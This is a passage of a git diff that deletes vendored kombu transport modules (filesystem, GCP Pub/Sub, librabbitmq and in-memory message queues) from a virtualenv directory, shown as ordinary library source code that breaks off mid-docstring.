-Connection String -================= -Connection string is in the following format: - -.. code-block:: - - filesystem:// - -Transport Options -================= -* ``data_folder_in`` - directory where are messages stored when written - to queue. -* ``data_folder_out`` - directory from which are messages read when read from - queue. -* ``store_processed`` - if set to True, all processed messages are backed up to - ``processed_folder``. -* ``processed_folder`` - directory where are backed up processed files. -* ``control_folder`` - directory where are exchange-queue table stored. -""" - -from __future__ import annotations - -import os -import shutil -import tempfile -import uuid -from collections import namedtuple -from pathlib import Path -from queue import Empty -from time import monotonic - -from kombu.exceptions import ChannelError -from kombu.transport import virtual -from kombu.utils.encoding import bytes_to_str, str_to_bytes -from kombu.utils.json import dumps, loads -from kombu.utils.objects import cached_property - -VERSION = (1, 0, 0) -__version__ = '.'.join(map(str, VERSION)) - -# needs win32all to work on Windows -if os.name == 'nt': - - import pywintypes - import win32con - import win32file - - LOCK_EX = win32con.LOCKFILE_EXCLUSIVE_LOCK - # 0 is the default - LOCK_SH = 0 - LOCK_NB = win32con.LOCKFILE_FAIL_IMMEDIATELY - __overlapped = pywintypes.OVERLAPPED() - - def lock(file, flags): - """Create file lock.""" - hfile = win32file._get_osfhandle(file.fileno()) - win32file.LockFileEx(hfile, flags, 0, 0xffff0000, __overlapped) - - def unlock(file): - """Remove file lock.""" - hfile = win32file._get_osfhandle(file.fileno()) - win32file.UnlockFileEx(hfile, 0, 0xffff0000, __overlapped) - - -elif os.name == 'posix': - - import fcntl - from fcntl import LOCK_EX, LOCK_SH - - def lock(file, flags): - """Create file lock.""" - fcntl.flock(file.fileno(), flags) - - def unlock(file): - """Remove file lock.""" - fcntl.flock(file.fileno(), fcntl.LOCK_UN) - - -else: - raise RuntimeError( - 'Filesystem plugin only defined for NT and POSIX platforms') - - -exchange_queue_t = namedtuple("exchange_queue_t", - ["routing_key", "pattern", "queue"]) - - -class Channel(virtual.Channel): - """Filesystem Channel.""" - - supports_fanout = True - - def get_table(self, exchange): - file = self.control_folder / f"{exchange}.exchange" - try: - f_obj = file.open("r") - try: - lock(f_obj, LOCK_SH) - exchange_table = loads(bytes_to_str(f_obj.read())) - return [exchange_queue_t(*q) for q in exchange_table] - finally: - unlock(f_obj) - f_obj.close() - except FileNotFoundError: - return [] - except OSError: - raise ChannelError(f"Cannot open {file}") - - def _queue_bind(self, exchange, routing_key, pattern, queue): - file = self.control_folder / f"{exchange}.exchange" - self.control_folder.mkdir(exist_ok=True) - queue_val = exchange_queue_t(routing_key or "", pattern or "", - queue or "") - try: - if file.exists(): - f_obj = file.open("rb+", buffering=0) - lock(f_obj, LOCK_EX) - exchange_table = loads(bytes_to_str(f_obj.read())) - queues = [exchange_queue_t(*q) for q in exchange_table] - if queue_val not in queues: - queues.insert(0, queue_val) - f_obj.seek(0) - f_obj.write(str_to_bytes(dumps(queues))) - else: - f_obj = file.open("wb", buffering=0) - lock(f_obj, LOCK_EX) - queues = [queue_val] - f_obj.write(str_to_bytes(dumps(queues))) - finally: - unlock(f_obj) - f_obj.close() - - def _put_fanout(self, exchange, payload, routing_key, **kwargs): - for q in self.get_table(exchange): - self._put(q.queue, payload, **kwargs) - - def _put(self, queue, payload, **kwargs): - """Put `message` onto `queue`.""" - filename = '{}_{}.{}.msg'.format(int(round(monotonic() * 1000)), - uuid.uuid4(), queue) - filename = os.path.join(self.data_folder_out, filename) - - try: - f = open(filename, 'wb', buffering=0) - lock(f, LOCK_EX) - f.write(str_to_bytes(dumps(payload))) - except OSError: - raise ChannelError( - f'Cannot add file {filename!r} to directory') - finally: - unlock(f) - f.close() - - def _get(self, queue): - """Get next message from `queue`.""" - queue_find = '.' + queue + '.msg' - folder = os.listdir(self.data_folder_in) - folder = sorted(folder) - while len(folder) > 0: - filename = folder.pop(0) - - # only handle message for the requested queue - if filename.find(queue_find) < 0: - continue - - if self.store_processed: - processed_folder = self.processed_folder - else: - processed_folder = tempfile.gettempdir() - - try: - # move the file to the tmp/processed folder - shutil.move(os.path.join(self.data_folder_in, filename), - processed_folder) - except OSError: - # file could be locked, or removed in meantime so ignore - continue - - filename = os.path.join(processed_folder, filename) - try: - f = open(filename, 'rb') - payload = f.read() - f.close() - if not self.store_processed: - os.remove(filename) - except OSError: - raise ChannelError( - f'Cannot read file {filename!r} from queue.') - - return loads(bytes_to_str(payload)) - - raise Empty() - - def _purge(self, queue): - """Remove all messages from `queue`.""" - count = 0 - queue_find = '.' + queue + '.msg' - - folder = os.listdir(self.data_folder_in) - while len(folder) > 0: - filename = folder.pop() - try: - # only purge messages for the requested queue - if filename.find(queue_find) < 0: - continue - - filename = os.path.join(self.data_folder_in, filename) - os.remove(filename) - - count += 1 - - except OSError: - # we simply ignore its existence, as it was probably - # processed by another worker - pass - - return count - - def _size(self, queue): - """Return the number of messages in `queue` as an :class:`int`.""" - count = 0 - - queue_find = f'.{queue}.msg' - folder = os.listdir(self.data_folder_in) - while len(folder) > 0: - filename = folder.pop() - - # only handle message for the requested queue - if filename.find(queue_find) < 0: - continue - - count += 1 - - return count - - @property - def transport_options(self): - return self.connection.client.transport_options - - @cached_property - def data_folder_in(self): - return self.transport_options.get('data_folder_in', 'data_in') - - @cached_property - def data_folder_out(self): - return self.transport_options.get('data_folder_out', 'data_out') - - @cached_property - def store_processed(self): - return self.transport_options.get('store_processed', False) - - @cached_property - def processed_folder(self): - return self.transport_options.get('processed_folder', 'processed') - - @property - def control_folder(self): - return Path(self.transport_options.get('control_folder', 'control')) - - -class Transport(virtual.Transport): - """Filesystem Transport.""" - - implements = virtual.Transport.implements.extend( - asynchronous=False, - exchange_type=frozenset(['direct', 'topic', 'fanout']) - ) - - Channel = Channel - # filesystem backend state is global. - global_state = virtual.BrokerState() - default_port = 0 - driver_type = 'filesystem' - driver_name = 'filesystem' - - def __init__(self, client, **kwargs): - super().__init__(client, **kwargs) - self.state = self.global_state - - def driver_version(self): - return 'N/A' diff --git a/venv/Lib/site-packages/kombu/transport/gcpubsub.py b/venv/Lib/site-packages/kombu/transport/gcpubsub.py deleted file mode 100644 index b47f6208372bbeb5f73584bb120589125a000000..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/gcpubsub.py +++ /dev/null @@ -1,819 +0,0 @@ -"""GCP Pub/Sub transport module for kombu. - -More information about GCP Pub/Sub: -https://cloud.google.com/pubsub - -Features -======== -* Type: Virtual -* Supports Direct: Yes -* Supports Topic: No -* Supports Fanout: Yes -* Supports Priority: No -* Supports TTL: No - -Connection String -================= - -Connection string has the following formats: - -.. code-block:: - - gcpubsub://projects/project-name - -Transport Options -================= -* ``queue_name_prefix``: (str) Prefix for queue names. -* ``ack_deadline_seconds``: (int) The maximum time after receiving a message - and acknowledging it before pub/sub redelivers the message. -* ``expiration_seconds``: (int) Subscriptions without any subscriber - activity or changes made to their properties are removed after this period. - Examples of subscriber activities include open connections, - active pulls, or successful pushes. -* ``wait_time_seconds``: (int) The maximum time to wait for new messages. - Defaults to 10. -* ``retry_timeout_seconds``: (int) The maximum time to wait before retrying. -* ``bulk_max_messages``: (int) The maximum number of messages to pull in bulk. - Defaults to 32. -""" - -from __future__ import annotations - -import dataclasses -import datetime -import string -import threading -from concurrent.futures import (FIRST_COMPLETED, Future, ThreadPoolExecutor, - wait) -from contextlib import suppress -from os import getpid -from queue import Empty -from threading import Lock -from time import monotonic, sleep -from uuid import NAMESPACE_OID, uuid3 - -from _socket import gethostname -from _socket import timeout as socket_timeout -from google.api_core.exceptions import (AlreadyExists, DeadlineExceeded, - PermissionDenied) -from google.api_core.retry import Retry -from google.cloud import monitoring_v3 -from google.cloud.monitoring_v3 import query -from google.cloud.pubsub_v1 import PublisherClient, SubscriberClient -from google.cloud.pubsub_v1 import exceptions as pubsub_exceptions -from google.cloud.pubsub_v1.publisher import exceptions as publisher_exceptions -from google.cloud.pubsub_v1.subscriber import \ - exceptions as subscriber_exceptions -from google.pubsub_v1 import gapic_version as package_version - -from kombu.entity import TRANSIENT_DELIVERY_MODE -from kombu.log import get_logger -from kombu.utils.encoding import bytes_to_str, safe_str -from kombu.utils.json import dumps, loads -from kombu.utils.objects import cached_property - -from . import virtual - -logger = get_logger('kombu.transport.gcpubsub') - -# dots are replaced by dash, all other punctuation replaced by underscore. -PUNCTUATIONS_TO_REPLACE = set(string.punctuation) - {'_', '.', '-'} -CHARS_REPLACE_TABLE = { - ord('.'): ord('-'), - **{ord(c): ord('_') for c in PUNCTUATIONS_TO_REPLACE}, -} - - -class UnackedIds: - """Threadsafe list of ack_ids.""" - - def __init__(self): - self._list = [] - self._lock = Lock() - - def append(self, val): - # append is atomic - self._list.append(val) - - def extend(self, vals: list): - # extend is atomic - self._list.extend(vals) - - def pop(self, index=-1): - with self._lock: - return self._list.pop(index) - - def remove(self, val): - with self._lock, suppress(ValueError): - self._list.remove(val) - - def __len__(self): - with self._lock: - return len(self._list) - - def __getitem__(self, item): - # getitem is atomic - return self._list[item] - - -class AtomicCounter: - """Threadsafe counter. - - Returns the value after inc/dec operations. - """ - - def __init__(self, initial=0): - self._value = initial - self._lock = Lock() - - def inc(self, n=1): - with self._lock: - self._value += n - return self._value - - def dec(self, n=1): - with self._lock: - self._value -= n - return self._value - - def get(self): - with self._lock: - return self._value - - -@dataclasses.dataclass -class QueueDescriptor: - """Pub/Sub queue descriptor.""" - - name: str - topic_path: str # projects/{project_id}/topics/{topic_id} - subscription_id: str - subscription_path: str # projects/{project_id}/subscriptions/{subscription_id} - unacked_ids: UnackedIds = dataclasses.field(default_factory=UnackedIds) - - -class Channel(virtual.Channel): - """GCP Pub/Sub channel.""" - - supports_fanout = True - do_restore = False # pub/sub does that for us - default_wait_time_seconds = 10 - default_ack_deadline_seconds = 240 - default_expiration_seconds = 86400 - default_retry_timeout_seconds = 300 - default_bulk_max_messages = 32 - - _min_ack_deadline = 10 - _fanout_exchanges = set() - _unacked_extender: threading.Thread = None - _stop_extender = threading.Event() - _n_channels = AtomicCounter() - _queue_cache: dict[str, QueueDescriptor] = {} - _tmp_subscriptions: set[str] = set() - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - self.pool = ThreadPoolExecutor() - logger.info('new GCP pub/sub channel: %s', self.conninfo.hostname) - - self.project_id = Transport.parse_uri(self.conninfo.hostname) - if self._n_channels.inc() == 1: - Channel._unacked_extender = threading.Thread( - target=self._extend_unacked_deadline, - daemon=True, - ) - self._stop_extender.clear() - Channel._unacked_extender.start() - - def entity_name(self, name: str, table=CHARS_REPLACE_TABLE) -> str: - """Format AMQP queue name into a valid Pub/Sub queue name.""" - if not name.startswith(self.queue_name_prefix): - name = self.queue_name_prefix + name - - return str(safe_str(name)).translate(table) - - def _queue_bind(self, exchange, routing_key, pattern, queue): - exchange_type = self.typeof(exchange).type - queue = self.entity_name(queue) - logger.debug( - 'binding queue: %s to %s exchange: %s with routing_key: %s', - queue, - exchange_type, - exchange, - routing_key, - ) - - filter_args = {} - if exchange_type == 'direct': - # Direct exchange is implemented as a single subscription - # E.g. for exchange 'test_direct': - # -topic:'test_direct' - # -bound queue:'direct1': - # -subscription: direct1' on topic 'test_direct' - # -filter:routing_key' - filter_args = { - 'filter': f'attributes.routing_key="{routing_key}"' - } - subscription_path = self.subscriber.subscription_path( - self.project_id, queue - ) - message_retention_duration = self.expiration_seconds - elif exchange_type == 'fanout': - # Fanout exchange is implemented as a separate subscription. - # E.g. for exchange 'test_fanout': - # -topic:'test_fanout' - # -bound queue 'fanout1': - # -subscription:'fanout1-uuid' on topic 'test_fanout' - # -bound queue 'fanout2': - # -subscription:'fanout2-uuid' on topic 'test_fanout' - uid = f'{uuid3(NAMESPACE_OID, f"{gethostname()}.{getpid()}")}' - uniq_sub_name = f'{queue}-{uid}' - subscription_path = self.subscriber.subscription_path( - self.project_id, uniq_sub_name - ) - self._tmp_subscriptions.add(subscription_path) - self._fanout_exchanges.add(exchange) - message_retention_duration = 600 - else: - raise NotImplementedError( - f'exchange type {exchange_type} not implemented' - ) - exchange_topic = self._create_topic( - self.project_id, exchange, message_retention_duration - ) - self._create_subscription( - topic_path=exchange_topic, - subscription_path=subscription_path, - filter_args=filter_args, - msg_retention=message_retention_duration, - ) - qdesc = QueueDescriptor( - name=queue, - topic_path=exchange_topic, - subscription_id=queue, - subscription_path=subscription_path, - ) - self._queue_cache[queue] = qdesc - - def _create_topic( - self, - project_id: str, - topic_id: str, - message_retention_duration: int = None, - ) -> str: - topic_path = self.publisher.topic_path(project_id, topic_id) - if self._is_topic_exists(topic_path): - # topic creation takes a while, so skip if possible - logger.debug('topic: %s exists', topic_path) - return topic_path - try: - logger.debug('creating topic: %s', topic_path) - request = {'name': topic_path} - if message_retention_duration: - request[ - 'message_retention_duration' - ] = f'{message_retention_duration}s' - self.publisher.create_topic(request=request) - except AlreadyExists: - pass - - return topic_path - - def _is_topic_exists(self, topic_path: str) -> bool: - topics = self.publisher.list_topics( - request={"project": f'projects/{self.project_id}'} - ) - for t in topics: - if t.name == topic_path: - return True - return False - - def _create_subscription( - self, - project_id: str = None, - topic_id: str = None, - topic_path: str = None, - subscription_path: str = None, - filter_args=None, - msg_retention: int = None, - ) -> str: - subscription_path = ( - subscription_path - or self.subscriber.subscription_path(self.project_id, topic_id) - ) - topic_path = topic_path or self.publisher.topic_path( - project_id, topic_id - ) - try: - logger.debug( - 'creating subscription: %s, topic: %s, filter: %s', - subscription_path, - topic_path, - filter_args, - ) - msg_retention = msg_retention or self.expiration_seconds - self.subscriber.create_subscription( - request={ - "name": subscription_path, - "topic": topic_path, - 'ack_deadline_seconds': self.ack_deadline_seconds, - 'expiration_policy': { - 'ttl': f'{self.expiration_seconds}s' - }, - 'message_retention_duration': f'{msg_retention}s', - **(filter_args or {}), - } - ) - except AlreadyExists: - pass - return subscription_path - - def _delete(self, queue, *args, **kwargs): - """Delete a queue by name.""" - queue = self.entity_name(queue) - logger.info('deleting queue: %s', queue) - qdesc = self._queue_cache.get(queue) - if not qdesc: - return - self.subscriber.delete_subscription( - request={"subscription": qdesc.subscription_path} - ) - self._queue_cache.pop(queue, None) - - def _put(self, queue, message, **kwargs): - """Put a message onto the queue.""" - queue = self.entity_name(queue) - qdesc = self._queue_cache[queue] - routing_key = self._get_routing_key(message) - logger.debug( - 'putting message to queue: %s, topic: %s, routing_key: %s', - queue, - qdesc.topic_path, - routing_key, - ) - encoded_message = dumps(message) - self.publisher.publish( - qdesc.topic_path, - encoded_message.encode("utf-8"), - routing_key=routing_key, - ) - - def _put_fanout(self, exchange, message, routing_key, **kwargs): - """Put a message onto fanout exchange.""" - self._lookup(exchange, routing_key) - topic_path = self.publisher.topic_path(self.project_id, exchange) - logger.debug( - 'putting msg to fanout exchange: %s, topic: %s', - exchange, - topic_path, - ) - encoded_message = dumps(message) - self.publisher.publish( - topic_path, - encoded_message.encode("utf-8"), - retry=Retry(deadline=self.retry_timeout_seconds), - ) - - def _get(self, queue: str, timeout: float = None): - """Retrieves a single message from a queue.""" - queue = self.entity_name(queue) - qdesc = self._queue_cache[queue] - try: - response = self.subscriber.pull( - request={ - 'subscription': qdesc.subscription_path, - 'max_messages': 1, - }, - retry=Retry(deadline=self.retry_timeout_seconds), - timeout=timeout or self.wait_time_seconds, - ) - except DeadlineExceeded: - raise Empty() - - if len(response.received_messages) == 0: - raise Empty() - - message = response.received_messages[0] - ack_id = message.ack_id - payload = loads(message.message.data) - delivery_info = payload['properties']['delivery_info'] - logger.debug( - 'queue:%s got message, ack_id: %s, payload: %s', - queue, - ack_id, - payload['properties'], - ) - if self._is_auto_ack(payload['properties']): - logger.debug('auto acking message ack_id: %s', ack_id) - self._do_ack([ack_id], qdesc.subscription_path) - else: - delivery_info['gcpubsub_message'] = { - 'queue': queue, - 'ack_id': ack_id, - 'message_id': message.message.message_id, - 'subscription_path': qdesc.subscription_path, - } - qdesc.unacked_ids.append(ack_id) - - return payload - - def _is_auto_ack(self, payload_properties: dict): - exchange = payload_properties['delivery_info']['exchange'] - delivery_mode = payload_properties['delivery_mode'] - return ( - delivery_mode == TRANSIENT_DELIVERY_MODE - or exchange in self._fanout_exchanges - ) - - def _get_bulk(self, queue: str, timeout: float): - """Retrieves bulk of messages from a queue.""" - prefixed_queue = self.entity_name(queue) - qdesc = self._queue_cache[prefixed_queue] - max_messages = self._get_max_messages_estimate() - if not max_messages: - raise Empty() - try: - response = self.subscriber.pull( - request={ - 'subscription': qdesc.subscription_path, - 'max_messages': max_messages, - }, - retry=Retry(deadline=self.retry_timeout_seconds), - timeout=timeout or self.wait_time_seconds, - ) - except DeadlineExceeded: - raise Empty() - - received_messages = response.received_messages - if len(received_messages) == 0: - raise Empty() - - auto_ack_ids = [] - ret_payloads = [] - logger.debug( - 'batching %d messages from queue: %s', - len(received_messages), - prefixed_queue, - ) - for message in received_messages: - ack_id = message.ack_id - payload = loads(bytes_to_str(message.message.data)) - delivery_info = payload['properties']['delivery_info'] - delivery_info['gcpubsub_message'] = { - 'queue': prefixed_queue, - 'ack_id': ack_id, - 'message_id': message.message.message_id, - 'subscription_path': qdesc.subscription_path, - } - if self._is_auto_ack(payload['properties']): - auto_ack_ids.append(ack_id) - else: - qdesc.unacked_ids.append(ack_id) - ret_payloads.append(payload) - if auto_ack_ids: - logger.debug('auto acking ack_ids: %s', auto_ack_ids) - self._do_ack(auto_ack_ids, qdesc.subscription_path) - - return queue, ret_payloads - - def _get_max_messages_estimate(self) -> int: - max_allowed = self.qos.can_consume_max_estimate() - max_if_unlimited = self.bulk_max_messages - return max_if_unlimited if max_allowed is None else max_allowed - - def _lookup(self, exchange, routing_key, default=None): - exchange_info = self.state.exchanges.get(exchange, {}) - if not exchange_info: - return super()._lookup(exchange, routing_key, default) - ret = self.typeof(exchange).lookup( - self.get_table(exchange), - exchange, - routing_key, - default, - ) - if ret: - return ret - logger.debug( - 'no queues bound to exchange: %s, binding on the fly', - exchange, - ) - self.queue_bind(exchange, exchange, routing_key) - return [exchange] - - def _size(self, queue: str) -> int: - """Return the number of messages in a queue. - - This is a *rough* estimation, as Pub/Sub doesn't provide - an exact API. - """ - queue = self.entity_name(queue) - if queue not in self._queue_cache: - return 0 - qdesc = self._queue_cache[queue] - result = query.Query( - self.monitor, - self.project_id, - 'pubsub.googleapis.com/subscription/num_undelivered_messages', - end_time=datetime.datetime.now(), - minutes=1, - ).select_resources(subscription_id=qdesc.subscription_id) - - # monitoring API requires the caller to have the monitoring.viewer - # role. Since we can live without the exact number of messages - # in the queue, we can ignore the exception and allow users to - # use the transport without this role. - with suppress(PermissionDenied): - return sum( - content.points[0].value.int64_value for content in result - ) - return -1 - - def basic_ack(self, delivery_tag, multiple=False): - """Acknowledge one message.""" - if multiple: - raise NotImplementedError('multiple acks not implemented') - - delivery_info = self.qos.get(delivery_tag).delivery_info - pubsub_message = delivery_info['gcpubsub_message'] - ack_id = pubsub_message['ack_id'] - queue = pubsub_message['queue'] - logger.debug('ack message. queue: %s ack_id: %s', queue, ack_id) - subscription_path = pubsub_message['subscription_path'] - self._do_ack([ack_id], subscription_path) - qdesc = self._queue_cache[queue] - qdesc.unacked_ids.remove(ack_id) - super().basic_ack(delivery_tag) - - def _do_ack(self, ack_ids: list[str], subscription_path: str): - self.subscriber.acknowledge( - request={"subscription": subscription_path, "ack_ids": ack_ids}, - retry=Retry(deadline=self.retry_timeout_seconds), - ) - - def _purge(self, queue: str): - """Delete all current messages in a queue.""" - queue = self.entity_name(queue) - qdesc = self._queue_cache.get(queue) - if not qdesc: - return - - n = self._size(queue) - self.subscriber.seek( - request={ - "subscription": qdesc.subscription_path, - "time": datetime.datetime.now(), - } - ) - return n - - def _extend_unacked_deadline(self): - thread_id = threading.get_native_id() - logger.info( - 'unacked deadline extension thread: [%s] started', - thread_id, - ) - min_deadline_sleep = self._min_ack_deadline / 2 - sleep_time = max(min_deadline_sleep, self.ack_deadline_seconds / 4) - while not self._stop_extender.wait(sleep_time): - for qdesc in self._queue_cache.values(): - if len(qdesc.unacked_ids) == 0: - logger.debug( - 'thread [%s]: no unacked messages for %s', - thread_id, - qdesc.subscription_path, - ) - continue - logger.debug( - 'thread [%s]: extend ack deadline for %s: %d msgs [%s]', - thread_id, - qdesc.subscription_path, - len(qdesc.unacked_ids), - list(qdesc.unacked_ids), - ) - try: - self.subscriber.modify_ack_deadline( - request={ - "subscription": qdesc.subscription_path, - "ack_ids": list(qdesc.unacked_ids), - "ack_deadline_seconds": self.ack_deadline_seconds, - } - ) - except Exception as exc: - logger.error( - 'thread [%s]: failed to extend ack deadline for %s: %s', - thread_id, - qdesc.subscription_path, - exc, - exc_info=True, - ) - logger.info( - 'unacked deadline extension thread [%s] stopped', thread_id - ) - - def after_reply_message_received(self, queue: str): - queue = self.entity_name(queue) - sub = self.subscriber.subscription_path(self.project_id, queue) - logger.debug( - 'after_reply_message_received: queue: %s, sub: %s', queue, sub - ) - self._tmp_subscriptions.add(sub) - - @cached_property - def subscriber(self): - return SubscriberClient() - - @cached_property - def publisher(self): - return PublisherClient() - - @cached_property - def monitor(self): - return monitoring_v3.MetricServiceClient() - - @property - def conninfo(self): - return self.connection.client - - @property - def transport_options(self): - return self.connection.client.transport_options - - @cached_property - def wait_time_seconds(self): - return self.transport_options.get( - 'wait_time_seconds', self.default_wait_time_seconds - ) - - @cached_property - def retry_timeout_seconds(self): - return self.transport_options.get( - 'retry_timeout_seconds', self.default_retry_timeout_seconds - ) - - @cached_property - def ack_deadline_seconds(self): - return self.transport_options.get( - 'ack_deadline_seconds', self.default_ack_deadline_seconds - ) - - @cached_property - def queue_name_prefix(self): - return self.transport_options.get('queue_name_prefix', 'kombu-') - - @cached_property - def expiration_seconds(self): - return self.transport_options.get( - 'expiration_seconds', self.default_expiration_seconds - ) - - @cached_property - def bulk_max_messages(self): - return self.transport_options.get( - 'bulk_max_messages', self.default_bulk_max_messages - ) - - def close(self): - """Close the channel.""" - logger.debug('closing channel') - while self._tmp_subscriptions: - sub = self._tmp_subscriptions.pop() - with suppress(Exception): - logger.debug('deleting subscription: %s', sub) - self.subscriber.delete_subscription( - request={"subscription": sub} - ) - if not self._n_channels.dec(): - self._stop_extender.set() - Channel._unacked_extender.join() - super().close() - - @staticmethod - def _get_routing_key(message): - routing_key = ( - message['properties'] - .get('delivery_info', {}) - .get('routing_key', '') - ) - return routing_key - - -class Transport(virtual.Transport): - """GCP Pub/Sub transport.""" - - Channel = Channel - - can_parse_url = True - polling_interval = 0.1 - connection_errors = virtual.Transport.connection_errors + ( - pubsub_exceptions.TimeoutError, - ) - channel_errors = ( - virtual.Transport.channel_errors - + ( - publisher_exceptions.FlowControlLimitError, - publisher_exceptions.MessageTooLargeError, - publisher_exceptions.PublishError, - publisher_exceptions.TimeoutError, - publisher_exceptions.PublishToPausedOrderingKeyException, - ) - + (subscriber_exceptions.AcknowledgeError,) - ) - - driver_type = 'gcpubsub' - driver_name = 'pubsub_v1' - - implements = virtual.Transport.implements.extend( - exchange_type=frozenset(['direct', 'fanout']), - ) - - def __init__(self, client, **kwargs): - super().__init__(client, **kwargs) - self._pool = ThreadPoolExecutor() - self._get_bulk_future_to_queue: dict[Future, str] = dict() - - def driver_version(self): - return package_version.__version__ - - @staticmethod - def parse_uri(uri: str) -> str: - # URL like: - # gcpubsub://projects/project-name - - project = uri.split('gcpubsub://projects/')[1] - return project.strip('/') - - @classmethod - def as_uri(self, uri: str, include_password=False, mask='**') -> str: - return uri or 'gcpubsub://' - - def drain_events(self, connection, timeout=None): - time_start = monotonic() - polling_interval = self.polling_interval - if timeout and polling_interval and polling_interval > timeout: - polling_interval = timeout - while 1: - try: - self._drain_from_active_queues(timeout=timeout) - except Empty: - if timeout and monotonic() - time_start >= timeout: - raise socket_timeout() - if polling_interval: - sleep(polling_interval) - else: - break - - def _drain_from_active_queues(self, timeout): - # cleanup empty requests from prev run - self._rm_empty_bulk_requests() - - # submit new requests for all active queues - # longer timeout means less frequent polling - # and more messages in a single bulk - self._submit_get_bulk_requests(timeout=10) - - done, _ = wait( - self._get_bulk_future_to_queue, - timeout=timeout, - return_when=FIRST_COMPLETED, - ) - empty = {f for f in done if f.exception()} - done -= empty - for f in empty: - self._get_bulk_future_to_queue.pop(f, None) - - if not done: - raise Empty() - - logger.debug('got %d done get_bulk tasks', len(done)) - for f in done: - queue, payloads = f.result() - for payload in payloads: - logger.debug('consuming message from queue: %s', queue) - if queue not in self._callbacks: - logger.warning( - 'Message for queue %s without consumers', queue - ) - continue - self._deliver(payload, queue) - self._get_bulk_future_to_queue.pop(f, None) - - def _rm_empty_bulk_requests(self): - empty = { - f - for f in self._get_bulk_future_to_queue - if f.done() and f.exception() - } - for f in empty: - self._get_bulk_future_to_queue.pop(f, None) - - def _submit_get_bulk_requests(self, timeout): - queues_with_submitted_get_bulk = set( - self._get_bulk_future_to_queue.values() - ) - - for channel in self.channels: - for queue in channel._active_queues: - if queue in queues_with_submitted_get_bulk: - continue - future = self._pool.submit(channel._get_bulk, queue, timeout) - self._get_bulk_future_to_queue[future] = queue diff --git a/venv/Lib/site-packages/kombu/transport/librabbitmq.py b/venv/Lib/site-packages/kombu/transport/librabbitmq.py deleted file mode 100644 index 37015b18489931b39fedac0a965130679ed4acad..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/librabbitmq.py +++ /dev/null @@ -1,190 +0,0 @@ -"""`librabbitmq`_ transport. - -.. _`librabbitmq`: https://pypi.org/project/librabbitmq/ -""" - -from __future__ import annotations - -import os -import socket -import warnings - -import librabbitmq as amqp -from librabbitmq import ChannelError, ConnectionError - -from kombu.utils.amq_manager import get_manager -from kombu.utils.text import version_string_as_tuple - -from . import base -from .base import to_rabbitmq_queue_arguments - -W_VERSION = """ - librabbitmq version too old to detect RabbitMQ version information - so make sure you are using librabbitmq 1.5 when using rabbitmq > 3.3 -""" -DEFAULT_PORT = 5672 -DEFAULT_SSL_PORT = 5671 - -NO_SSL_ERROR = """\ -ssl not supported by librabbitmq, please use pyamqp:// or stunnel\ -""" - - -class Message(base.Message): - """AMQP Message (librabbitmq).""" - - def __init__(self, channel, props, info, body): - super().__init__( - channel=channel, - body=body, - delivery_info=info, - properties=props, - delivery_tag=info.get('delivery_tag'), - content_type=props.get('content_type'), - content_encoding=props.get('content_encoding'), - headers=props.get('headers')) - - -class Channel(amqp.Channel, base.StdChannel): - """AMQP Channel (librabbitmq).""" - - Message = Message - - def prepare_message(self, body, priority=None, - content_type=None, content_encoding=None, - headers=None, properties=None): - """Encapsulate data into a AMQP message.""" - properties = properties if properties is not None else {} - properties.update({'content_type': content_type, - 'content_encoding': content_encoding, - 'headers': headers}) - # Don't include priority if it's not an integer. - # If that's the case librabbitmq will fail - # and raise an exception. - if priority is not None: - properties['priority'] = priority - return body, properties - - def prepare_queue_arguments(self, arguments, **kwargs): - arguments = to_rabbitmq_queue_arguments(arguments, **kwargs) - return {k.encode('utf8'): v for k, v in arguments.items()} - - -class Connection(amqp.Connection): - """AMQP Connection (librabbitmq).""" - - Channel = Channel - Message = Message - - -class Transport(base.Transport): - """AMQP Transport (librabbitmq).""" - - Connection = Connection - - default_port = DEFAULT_PORT - default_ssl_port = DEFAULT_SSL_PORT - - connection_errors = ( - base.Transport.connection_errors + ( - ConnectionError, socket.error, IOError, OSError) - ) - channel_errors = ( - base.Transport.channel_errors + (ChannelError,) - ) - driver_type = 'amqp' - driver_name = 'librabbitmq' - - implements = base.Transport.implements.extend( - asynchronous=True, - heartbeats=False, - ) - - def __init__(self, client, **kwargs): - self.client = client - self.default_port = kwargs.get('default_port') or self.default_port - self.default_ssl_port = (kwargs.get('default_ssl_port') or - self.default_ssl_port) - self.__reader = None - - def driver_version(self): - return amqp.__version__ - - def create_channel(self, connection): - return connection.channel() - - def drain_events(self, connection, **kwargs): - return connection.drain_events(**kwargs) - - def establish_connection(self): - """Establish connection to the AMQP broker.""" - conninfo = self.client - for name, default_value in self.default_connection_params.items(): - if not getattr(conninfo, name, None): - setattr(conninfo, name, default_value) - if conninfo.ssl: - raise NotImplementedError(NO_SSL_ERROR) - opts = dict({ - 'host': conninfo.host, - 'userid': conninfo.userid, - 'password': conninfo.password, - 'virtual_host': conninfo.virtual_host, - 'login_method': conninfo.login_method, - 'insist': conninfo.insist, - 'ssl': conninfo.ssl, - 'connect_timeout': conninfo.connect_timeout, - }, **conninfo.transport_options or {}) - conn = self.Connection(**opts) - conn.client = self.client - self.client.drain_events = conn.drain_events - return conn - - def close_connection(self, connection): - """Close the AMQP broker connection.""" - self.client.drain_events = None - connection.close() - - def _collect(self, connection): - if connection is not None: - for channel in connection.channels.values(): - channel.connection = None - try: - os.close(connection.fileno()) - except (OSError, ValueError): - pass - connection.channels.clear() - connection.callbacks.clear() - self.client.drain_events = None - self.client = None - - def verify_connection(self, connection): - return connection.connected - - def register_with_event_loop(self, connection, loop): - loop.add_reader( - connection.fileno(), self.on_readable, connection, loop, - ) - - def get_manager(self, *args, **kwargs): - return get_manager(self.client, *args, **kwargs) - - def qos_semantics_matches_spec(self, connection): - try: - props = connection.server_properties - except AttributeError: - warnings.warn(UserWarning(W_VERSION)) - else: - if props.get('product') == 'RabbitMQ': - return version_string_as_tuple(props['version']) < (3, 3) - return True - - @property - def default_connection_params(self): - return { - 'userid': 'guest', - 'password': 'guest', - 'port': (self.default_ssl_port if self.client.ssl - else self.default_port), - 'hostname': 'localhost', - 'login_method': 'PLAIN', - } diff --git a/venv/Lib/site-packages/kombu/transport/memory.py b/venv/Lib/site-packages/kombu/transport/memory.py deleted file mode 100644 index 9bfaff8d26def587f75ff4792624f7707f09c35c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/memory.py +++ /dev/null @@ -1,106 +0,0 @@ -"""In-memory transport module for Kombu. - -Simple transport using memory for storing messages. -Messages can be passed only between threads. - -Features -======== -* Type: Virtual -* 